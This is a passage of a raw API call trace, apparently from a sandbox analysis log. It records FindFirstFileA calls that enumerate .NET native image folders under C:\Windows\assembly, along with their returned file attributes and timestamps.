lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.2486c0f5#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28d10e10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10de6080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10de6080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.491] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.2486c0f5#\\4ce8321601ff5f7195ce945b886ee277\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28d10e10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10e0c1e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10e0c1e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.498] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.28b9ef5a#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x204a4130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10e0c1e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10e0c1e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.504] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.28b9ef5a#\\20a2a7430bccb50545e026d6d9831e60\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x204a4130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10e0c1e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10e0c1e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.511] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.4961ff77#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x298ab950, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10e32340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10e32340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.516] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.4961ff77#\\a87b5a3d4dd09e6ced2af7f744d6b737\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x298ab950, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10e32340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10e32340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.524] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.82d5542b#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2263e860, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10e584a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10e584a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.530] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.82d5542b#\\d98ddca3576dc8cff32e7d5e22602525\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf97ac80, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10e584a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10e584a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.537] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.8da3333a#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2796d890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10e7e600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10e7e600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.542] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.8da3333a#\\1ca64255b26c7a08a74dc79484862c33\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2796d890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10e7e600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10e7e600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.552] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.8dc504e4#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x215e1120, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10e7e600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10e7e600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.557] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.8dc504e4#\\ff18b49ce3568cc4f5f5f9290d6c052f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafe3d880, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10ea4760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10ea4760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.564] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.9c7998a9#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2926bf90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10ea4760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10ea4760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.569] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.9c7998a9#\\81dcd715ecf4991482feac97c34e9200\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2926bf90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10eca8c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10eca8c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.086] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.dc83ace6#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a3fa1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x113b3620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x113b3620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.097] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.dc83ace6#\\22b4ee0b80f0a33b6718c3150c7543bf\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a3fa1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x113b3620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x113b3620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.105] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Entity\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x290c9070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x113d9780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x113d9780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.109] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Entity\\fc6a6f4dc871f2da350a860f6bc81db3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x290c9070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x113d9780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x113d9780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.115] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Mobile\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b2425d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x113ff8e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x113ff8e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.120] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Mobile\\8f4f1091c2b4dbd04466b13a652a3d20\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b2425d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x113ff8e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x113ff8e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.126] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Routing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b3bf390, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x113ff8e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x113ff8e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.145] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Routing\\c84f5bf4c4529f5e3af9ce548aaf1fe7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b3bf390, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11425a40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11425a40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.150] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Services\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21bae6c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1144bba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1144bba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.155] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Services\\bbf3231254fdd25e098b50eb864c4198\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa132dc00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1144bba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1144bba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.162] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind0de890be#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd8d5f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11471d00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11471d00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.167] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind0de890be#\\23fec72a12f8de4a40a28c6c75428000\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd8d5f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11471d00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11471d00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.172] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind412bbddf#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bfcc2f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11471d00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11471d00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.189] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind412bbddf#\\6dafc334cede4e2fd9043ef32e7afe43\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bfcc2f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11497e60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11497e60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.195] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind5abb17e9#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e43f3d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x114bdfc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x114bdfc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.203] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind5abb17e9#\\9d2c29f943d8ce67a673c45784f258e5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e43f3d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x114bdfc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x114bdfc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.209] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind5cb9c182#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11f6f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x114e4120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x114e4120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.214] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind5cb9c182#\\345434a9d9933d8716fd3d1e15d7aef8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11f6f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x114e4120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x114e4120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.221] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind74b7bf4b#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4dc28f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x114e4120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x114e4120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.226] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind74b7bf4b#\\02f718e11ed9bb2f5961fcccb027315b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4dc28f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1150a280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1150a280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.231] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0592e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1150a280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1150a280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.236] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0557c20, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1150a280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1150a280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.242] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Work0493292f#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31a66850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x115303e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x115303e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.247] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Work0493292f#\\00a462688c4a72876ced07ce557724ae\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31a66850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x115303e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x115303e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.253] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Workca489553#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30f17fd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x115303e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x115303e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0248.260] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Workca489553#\\842381f06c98d44fc80ce3e012eaf818\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30f17fd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11556540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11556540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0248.269] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Workd8194f73#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32249130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11556540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x11556540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, 